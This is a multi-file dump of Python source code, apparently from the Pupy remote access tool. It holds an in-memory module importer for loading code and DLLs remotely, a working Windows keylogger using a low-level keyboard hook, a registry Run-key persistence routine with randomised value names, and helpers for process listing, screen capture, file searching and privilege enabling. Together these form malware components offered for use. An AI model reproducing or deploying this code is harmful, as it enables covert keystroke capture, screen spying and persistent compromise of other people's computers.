# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# ---------------------------------------------------------------
|
||||
# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)
|
||||
# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !
|
||||
#
|
||||
import sys, imp, zlib, marshal
|
||||
builtin_memimporter=False
|
||||
try:
|
||||
import _memimporter
|
||||
builtin_memimporter=True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
modules={}
|
||||
try:
|
||||
import pupy
|
||||
modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string()))
|
||||
except ImportError:
|
||||
#modules = marshal.loads(zlib.decompress(open("resources\\library_compressed_string.txt",'rb').read()))
|
||||
pass
|
||||
|
||||
def get_module_files(fullname):
|
||||
""" return the file to load """
|
||||
f=fullname.replace(".","/")
|
||||
files=[]
|
||||
for x in modules.iterkeys():
|
||||
if x.rsplit(".",1)[0]==f or f+"/__init__.py"==x or f+"/__init__.pyc"==x:
|
||||
files.append(x)
|
||||
return files
|
||||
|
||||
def pupy_add_package(pkdic):
|
||||
""" update the modules dictionary to allow remote imports of new packages """
|
||||
import cPickle
|
||||
global modules
|
||||
modules.update(cPickle.loads(pkdic))
|
||||
|
||||
class PupyPackageLoader:
|
||||
def __init__(self, fullname, contents, extension, is_pkg, path):
|
||||
self.fullname = fullname
|
||||
self.contents = contents
|
||||
self.extension = extension
|
||||
self.is_pkg=is_pkg
|
||||
self.path=path
|
||||
#self.archive=""
|
||||
|
||||
def load_module(self, fullname):
|
||||
imp.acquire_lock()
|
||||
try:
|
||||
#print "loading module %s"%fullname
|
||||
if fullname in sys.modules:
|
||||
return sys.modules[fullname]
|
||||
mod=None
|
||||
c=None
|
||||
if self.extension=="py":
|
||||
mod = imp.new_module(fullname)
|
||||
mod.__name__ = fullname
|
||||
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
|
||||
mod.__loader__ = self
|
||||
if self.is_pkg:
|
||||
mod.__path__ = [mod.__file__.rsplit("\\",1)[0]]
|
||||
mod.__package__ = fullname
|
||||
else:
|
||||
mod.__package__ = fullname.rsplit('.', 1)[0]
|
||||
sys.modules[fullname]=mod
|
||||
code = compile(self.contents, mod.__file__, "exec")
|
||||
exec self.contents in mod.__dict__
|
||||
elif self.extension in ["pyc","pyo"]:
|
||||
mod = imp.new_module(fullname)
|
||||
mod.__name__ = fullname
|
||||
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
|
||||
mod.__loader__ = self
|
||||
if self.is_pkg:
|
||||
mod.__path__ = [mod.__file__.rsplit("\\",1)[0]]
|
||||
#mod.__path__ = [mod.__file__]
|
||||
mod.__package__ = fullname
|
||||
else:
|
||||
mod.__package__ = fullname.rsplit('.', 1)[0]
|
||||
sys.modules[fullname]=mod
|
||||
c=marshal.loads(self.contents[8:])
|
||||
exec c in mod.__dict__
|
||||
elif self.extension in ("dll","pyd"):
|
||||
initname = "init" + fullname.rsplit(".",1)[-1]
|
||||
path=fullname.replace(".","/")+"."+self.extension
|
||||
#print "Loading %s from memory"%fullname
|
||||
#print "init:%s, %s.%s"%(initname,fullname,self.extension)
|
||||
mod = _memimporter.import_module(self.contents, initname, fullname, path)
|
||||
mod.__name__=fullname
|
||||
mod.__file__ = "<memimport>\\%s" % self.path.replace("/","\\")
|
||||
mod.__loader__ = self
|
||||
mod.__package__ = fullname.rsplit('.',1)[0]
|
||||
sys.modules[fullname]=mod
|
||||
except Exception as e:
|
||||
if fullname in sys.modules:
|
||||
del sys.modules[fullname]
|
||||
import traceback
|
||||
print "PupyPackageLoader: Error while loading package %s (%s) : %s %s"%(fullname, self.extension, str(e), c)
|
||||
raise e
|
||||
finally:
|
||||
imp.release_lock()
|
||||
mod = sys.modules[fullname] # reread the module in case it changed itself
|
||||
return mod
|
||||
|
||||
class PupyPackageFinder:
|
||||
def __init__(self, modules):
|
||||
self.modules = modules
|
||||
self.modules_list=[x.rsplit(".",1)[0] for x in self.modules.iterkeys()]
|
||||
|
||||
def find_module(self, fullname, path=None):
|
||||
imp.acquire_lock()
|
||||
try:
|
||||
if fullname in ("pywintypes", "pythoncom"):
|
||||
fullname = fullname + "%d%d" % sys.version_info[:2]
|
||||
fullname = fullname.replace(".", "\\") + ".dll"
|
||||
#print "find_module(\"%s\",\"%s\")"%(fullname,path)
|
||||
files=get_module_files(fullname)
|
||||
if not builtin_memimporter:
|
||||
files=[f for f in files if not f.lower().endswith((".pyd",".dll"))]
|
||||
if not files:
|
||||
#print "%s not found in %s"%(fullname,path)
|
||||
return None
|
||||
selected=None
|
||||
for f in files:
|
||||
if f.endswith("/__init__.pyc") or f.endswith("/__init__.py"):
|
||||
selected=f # we select packages in priority
|
||||
if not selected:
|
||||
for f in files:
|
||||
if f.endswith(".pyd"):
|
||||
selected=f # then we select pyd
|
||||
if not selected:
|
||||
for f in files:
|
||||
if f.endswith(".py"):
|
||||
selected=f # we select .py before .pyc
|
||||
if not selected:
|
||||
selected=files[0]
|
||||
|
||||
#print "%s found in %s"%(fullname,selected)
|
||||
content=self.modules[selected]
|
||||
extension=selected.rsplit(".",1)[1].strip().lower()
|
||||
is_pkg=False
|
||||
if selected.endswith("/__init__.py") or selected.endswith("/__init__.pyc"):
|
||||
is_pkg=True
|
||||
#print "--> Loading %s(%s).%s is_package:%s"%(fullname,selected,extension, is_pkg)
|
||||
return PupyPackageLoader(fullname, content, extension, is_pkg, selected)
|
||||
except Exception as e:
|
||||
raise e
|
||||
finally:
|
||||
imp.release_lock()
|
||||
|
||||
def install():
|
||||
sys.meta_path.append(PupyPackageFinder(modules))
|
||||
sys.path_importer_cache.clear()
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import os
|
||||
import os.path
|
||||
import re
|
||||
|
||||
def search_file(path, search_strings):
|
||||
buf=b""
|
||||
line_nb=0
|
||||
with open(path, 'rb') as f:
|
||||
for line in f:
|
||||
line=line.lower()
|
||||
for s in search_strings:
|
||||
start=0
|
||||
while True:
|
||||
i=line.find(s.lower(), start)
|
||||
if i==-1:
|
||||
break
|
||||
start=i+1
|
||||
yield (line_nb, line[i-50:i+50].strip())
|
||||
line_nb+=1
|
||||
|
||||
|
||||
def search_path(path, search_strings, files_extensions=None):
|
||||
""" search recursively for a string in all files in the path """
|
||||
if files_extensions:
|
||||
files_extensions=tuple(files_extensions)
|
||||
for root, dirs, files in os.walk(path):
|
||||
for f in files:
|
||||
if files_extensions is None or f.endswith(files_extensions):
|
||||
for res in search_file(os.path.join(root,f),search_strings):
|
||||
yield (os.path.join(root,f), res[0], res[1])
|
||||
|
||||
if __name__=="__main__":
|
||||
import sys
|
||||
search_path(sys.argv[1],[sys.argv[2]])
|
|
@ -0,0 +1,122 @@
|
|||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
import sys
|
||||
from ctypes import *
|
||||
from ctypes.wintypes import MSG
|
||||
from ctypes.wintypes import DWORD
|
||||
import threading
|
||||
import time
|
||||
|
||||
user32 = windll.user32
|
||||
kernel32 = windll.kernel32
|
||||
WH_KEYBOARD_LL=13
|
||||
WM_KEYDOWN=0x0100
|
||||
|
||||
keyCodes={
|
||||
0x08 : "[BKSP]",
|
||||
0x09 : "[TAB]",
|
||||
0x0D : "\n",
|
||||
0x10 : "[SHIFT]",
|
||||
0x11 : "[CTRL]",
|
||||
0x12 : "[ALT]",
|
||||
0x13 : "[PAUSE]",
|
||||
0x14 : "[CAPS_LOCK]",
|
||||
0x1B : "[ESCAPE]",
|
||||
0x20 : " ",
|
||||
0x25 : "[LEFT]",
|
||||
0x26 : "[UP]",
|
||||
0x27 : "[RIGHT]",
|
||||
0x28 : "[DOWN]",
|
||||
0x2C : "[PRINT_SCREEN]",
|
||||
0x2E : "[DEL]",
|
||||
0x90 : "[NUM_LOCk]",
|
||||
0xA0 : "[LSHIFT]",
|
||||
0xA1 : "[RSHIFT]",
|
||||
0xA2 : "[LCTRL]",
|
||||
0xA3 : "[RCTRL]",
|
||||
0xA4 : "[LMENU]",
|
||||
0xA5 : "[RMENU]",
|
||||
}
|
||||
|
||||
class KeyLogger(threading.Thread):
|
||||
def __init__(self, *args, **kwargs):
|
||||
threading.Thread.__init__(self, *args, **kwargs)
|
||||
self.hooked = None
|
||||
self.daemon=True
|
||||
self.keys_buffer=""
|
||||
self.lUser32=user32
|
||||
self.pointer=None
|
||||
self.stopped=False
|
||||
|
||||
def run(self):
|
||||
if self.install_hook():
|
||||
print "keylogger installed"
|
||||
else:
|
||||
raise RuntimeError("couldn't install keylogger")
|
||||
msg = MSG()
|
||||
user32.GetMessageA(byref(msg),0,0,0)
|
||||
while not self.stopped:
|
||||
time.sleep(1)
|
||||
self.uninstall_hook()
|
||||
|
||||
def stop(self):
|
||||
self.stopped=True
|
||||
|
||||
def dump(self):
|
||||
res=self.keys_buffer
|
||||
self.keys_buffer=""
|
||||
return res
|
||||
|
||||
def convert_key_code(self, code):
|
||||
#https://msdn.microsoft.com/fr-fr/library/windows/desktop/dd375731%28v=vs.85%29.aspx
|
||||
if code >=0x41 and code <=0x5a: # letters
|
||||
return chr(code)
|
||||
elif code>=0x30 and code <=0x39: # numbers
|
||||
return str(code-0x30)
|
||||
elif code>=0x60 and code <=0x69: # keypad numbers
|
||||
return str(code-0x60)
|
||||
elif code in keyCodes:
|
||||
return keyCodes[code]
|
||||
return "[%02x]"%code
|
||||
|
||||
def install_hook(self):
|
||||
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
|
||||
self.pointer = CMPFUNC(self.hook_proc)
|
||||
self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, self.pointer, kernel32.GetModuleHandleW(None), 0)
|
||||
if not self.hooked:
|
||||
return False
|
||||
return True
|
||||
|
||||
def uninstall_hook(self):
|
||||
if self.hooked is None:
|
||||
return
|
||||
self.lUser32.UnhookWindowsHookEx(self.hooked)
|
||||
self.hooked = None
|
||||
|
||||
def hook_proc(self, nCode, wParam, lParam):
|
||||
if wParam is not WM_KEYDOWN:
|
||||
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
|
||||
hooked_key = self.convert_key_code(lParam[0])
|
||||
self.keys_buffer+=hooked_key
|
||||
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
|
||||
|
||||
if __name__=="__main__":
|
||||
keyLogger = KeyLogger()
|
||||
keyLogger.start()
|
||||
while True:
|
||||
time.sleep(5)
|
||||
print keyLogger.dump()
|
||||
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
import ctypes
|
||||
import threading
|
||||
|
||||
def MessageBox(text, title):
|
||||
t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
|
||||
t.daemon=True
|
||||
t.start()
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
from _winreg import *
|
||||
import random
|
||||
import string
|
||||
|
||||
def add_registry_startup(bin_path):
|
||||
randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
|
||||
try:
|
||||
aKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
|
||||
try:
|
||||
SetValueEx(aKey, randname, 0, REG_SZ, bin_path)
|
||||
finally:
|
||||
CloseKey(aKey)
|
||||
except Exception:
|
||||
aKey2 = OpenKey(HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
|
||||
try:
|
||||
SetValueEx(aKey2, randname, 0, REG_SZ, bin_path)
|
||||
finally:
|
||||
CloseKey(aKey)
|
||||
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
from ctypes import byref, c_bool
|
||||
from ctypes import windll
|
||||
import psutil
|
||||
import platform
|
||||
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
PROCESS_VM_READ = 0x0010
|
||||
MAX_PATH=260
|
||||
|
||||
def is_process_64(pid):
|
||||
""" Take a pid. return True if process is 64 bits, and False otherwise. """
|
||||
is64=False
|
||||
if not "64" in platform.machine():
|
||||
return False
|
||||
hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
|
||||
is64=is_process_64_from_handle(hProcess)
|
||||
windll.kernel32.CloseHandle(hProcess)
|
||||
return is64
|
||||
|
||||
def is_process_64_from_handle(hProcess):
|
||||
""" Take a process handle. return True if process is 64 bits, and False otherwise. """
|
||||
iswow64 = c_bool(False)
|
||||
if not hasattr(windll.kernel32,'IsWow64Process'):
|
||||
return False
|
||||
windll.kernel32.IsWow64Process(hProcess, byref(iswow64))
|
||||
return not iswow64.value
|
||||
|
||||
def enum_processes():
|
||||
proclist=[]
|
||||
for proc in psutil.process_iter():
|
||||
try:
|
||||
pinfo = proc.as_dict(attrs=['username', 'pid', 'name', 'exe', 'cmdline', 'status'])
|
||||
pinfo['arch']=("x64" if is_process_64(int(pinfo['pid'])) else "x32")
|
||||
proclist.append(pinfo)
|
||||
except psutil.NoSuchProcess:
|
||||
pass
|
||||
return proclist
|
||||
|
||||
if __name__ == '__main__':
|
||||
for dic in enum_processes():
|
||||
print dic
|
|
@ -0,0 +1,145 @@
|
|||
#code from http://tiger-222.fr/?d=2013/08/05/21/35/31-windows-capture-decran
|
||||
|
||||
from ctypes import (
|
||||
byref, memset, pointer, sizeof, windll,
|
||||
c_void_p as LPRECT,
|
||||
c_void_p as LPVOID,
|
||||
create_string_buffer,
|
||||
Structure,
|
||||
POINTER,
|
||||
WINFUNCTYPE,
|
||||
)
|
||||
import ctypes.wintypes
|
||||
from ctypes.wintypes import (
|
||||
BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ,
|
||||
HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD
|
||||
)
|
||||
|
||||
class BITMAPINFOHEADER(Structure):
|
||||
_fields_ = [
|
||||
('biSize', DWORD),
|
||||
('biWidth', LONG),
|
||||
('biHeight', LONG),
|
||||
('biPlanes', WORD),
|
||||
('biBitCount', WORD),
|
||||
('biCompression', DWORD),
|
||||
('biSizeImage', DWORD),
|
||||
('biXPelsPerMeter', LONG),
|
||||
('biYPelsPerMeter', LONG),
|
||||
('biClrUsed', DWORD),
|
||||
('biClrImportant', DWORD)
|
||||
]
|
||||
|
||||
class BITMAPINFO(Structure):
|
||||
_fields_ = [
|
||||
('bmiHeader', BITMAPINFOHEADER),
|
||||
('bmiColors', DWORD * 3)
|
||||
]
|
||||
|
||||
|
||||
# Initilisations
|
||||
SM_XVIRTUALSCREEN = 76 # Coordonnée gauche *
|
||||
SM_YVIRTUALSCREEN = 77 # Coordonnée haute *
|
||||
SM_CXVIRTUALSCREEN = 78 # Largeur *
|
||||
SM_CYVIRTUALSCREEN = 79 # Hauteur *
|
||||
SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()
|
||||
DIB_RGB_COLORS = 0
|
||||
|
||||
GetSystemMetrics = windll.user32.GetSystemMetrics
|
||||
EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
|
||||
GetWindowDC = windll.user32.GetWindowDC
|
||||
CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
|
||||
CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
|
||||
SelectObject = windll.gdi32.SelectObject
|
||||
BitBlt = windll.gdi32.BitBlt
|
||||
GetDIBits = windll.gdi32.GetDIBits
|
||||
DeleteObject = windll.gdi32.DeleteObject
|
||||
|
||||
|
||||
# Type des arguments
|
||||
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
|
||||
POINTER(RECT), DOUBLE)
|
||||
GetSystemMetrics.argtypes = [INT]
|
||||
EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
|
||||
GetWindowDC.argtypes = [HWND]
|
||||
CreateCompatibleDC.argtypes = [HDC]
|
||||
CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
|
||||
SelectObject.argtypes = [HDC, HGDIOBJ]
|
||||
BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
|
||||
DeleteObject.argtypes = [HGDIOBJ]
|
||||
GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
|
||||
POINTER(BITMAPINFO), UINT]
|
||||
|
||||
|
||||
# Type de fonction
|
||||
GetSystemMetrics.restypes = INT
|
||||
EnumDisplayMonitors.restypes = BOOL
|
||||
GetWindowDC.restypes = HDC
|
||||
CreateCompatibleDC.restypes = HDC
|
||||
CreateCompatibleBitmap.restypes = HBITMAP
|
||||
SelectObject.restypes = HGDIOBJ
|
||||
BitBlt.restypes = BOOL
|
||||
GetDIBits.restypes = INT
|
||||
DeleteObject.restypes = BOOL
|
||||
|
||||
|
||||
def enum_display_monitors(oneshot=False):
|
||||
|
||||
def _callback(monitor, dc, rect, data):
|
||||
rct = rect.contents
|
||||
results.append({
|
||||
b'left' : int(rct.left),
|
||||
b'top' : int(rct.top),
|
||||
b'width' : int(rct.right - rct.left),
|
||||
b'height': int(rct.bottom -rct.top)
|
||||
})
|
||||
return 1
|
||||
|
||||
results = []
|
||||
if oneshot:
|
||||
left = GetSystemMetrics(SM_XVIRTUALSCREEN)
|
||||
right = GetSystemMetrics(SM_CXVIRTUALSCREEN)
|
||||
top = GetSystemMetrics(SM_YVIRTUALSCREEN)
|
||||
bottom = GetSystemMetrics(SM_CYVIRTUALSCREEN)
|
||||
results.append({
|
||||
b'left' : int(left),
|
||||
b'top' : int(top),
|
||||
b'width' : int(right - left),
|
||||
b'height': int(bottom - top)
|
||||
})
|
||||
else:
|
||||
callback = MONITORENUMPROC(_callback)
|
||||
EnumDisplayMonitors(0, 0, callback, 0)
|
||||
return results
|
||||
|
||||
|
||||
def get_pixels(monitor):
|
||||
|
||||
width, height = monitor['width'], monitor['height']
|
||||
left, top = monitor['left'], monitor['top']
|
||||
|
||||
srcdc = GetWindowDC(0)
|
||||
memdc = CreateCompatibleDC(srcdc)
|
||||
bmp = CreateCompatibleBitmap(srcdc, width, height)
|
||||
try:
|
||||
SelectObject(memdc, bmp)
|
||||
BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
|
||||
bmi = BITMAPINFO()
|
||||
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
|
||||
bmi.bmiHeader.biWidth = width
|
||||
bmi.bmiHeader.biHeight = height
|
||||
bmi.bmiHeader.biBitCount = 24
|
||||
bmi.bmiHeader.biPlanes = 1
|
||||
buffer_len = height * ((width * 3 + 3) & -4)
|
||||
pixels = create_string_buffer(buffer_len)
|
||||
bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
|
||||
pointer(bmi), DIB_RGB_COLORS)
|
||||
finally:
|
||||
DeleteObject(srcdc)
|
||||
DeleteObject(memdc)
|
||||
DeleteObject(bmp)
|
||||
|
||||
if bits != height or len(pixels.raw) != buffer_len:
|
||||
raise ValueError('MSSWindows: GetDIBits() failed.')
|
||||
|
||||
return pixels.raw
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
from ctypes import *
|
||||
|
||||
LPVOID = c_void_p
|
||||
HANDLE = LPVOID
|
||||
INVALID_HANDLE_VALUE = c_void_p(-1).value
|
||||
DWORD = c_uint32
|
||||
LONG= c_long
|
||||
|
||||
class LUID(Structure):
|
||||
_fields_ = [
|
||||
("LowPart", DWORD),
|
||||
("HighPart", LONG),
|
||||
]
|
||||
class LUID_AND_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
("Luid", LUID),
|
||||
("Attributes", DWORD),
|
||||
]
|
||||
|
||||
class TOKEN_PRIVILEGES(Structure):
|
||||
_fields_ = [
|
||||
("PrivilegeCount", DWORD),
|
||||
("Privileges", LUID_AND_ATTRIBUTES),
|
||||
]
|
||||
|
||||
def EnablePrivilege(privilegeStr, hToken = None):
|
||||
"""Enable Privilege on token, if no token is given the function gets the token of the current process."""
|
||||
close=False
|
||||
if hToken == None:
|
||||
close=True
|
||||
TOKEN_ADJUST_PRIVILEGES = 0x00000020
|
||||
TOKEN_QUERY = 0x0008
|
||||
hToken = HANDLE(INVALID_HANDLE_VALUE)
|
||||
res=windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) )
|
||||
|
||||
privilege_id = LUID()
|
||||
res=windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
|
||||
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
|
||||
tp = TOKEN_PRIVILEGES(1, laa)
|
||||
|
||||
ERROR_NOT_ALL_ASSIGNED=1300
|
||||
|
||||
res=windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
|
||||
if not res:
|
||||
raise WinError()
|
||||
else:
|
||||
res=windll.kernel32.GetLastError()
|
||||
if res!=0:
|
||||
raise WinError()
|
||||
if close:
|
||||
windll.kernel32.CloseHandle(hToken)
|
||||
|
||||
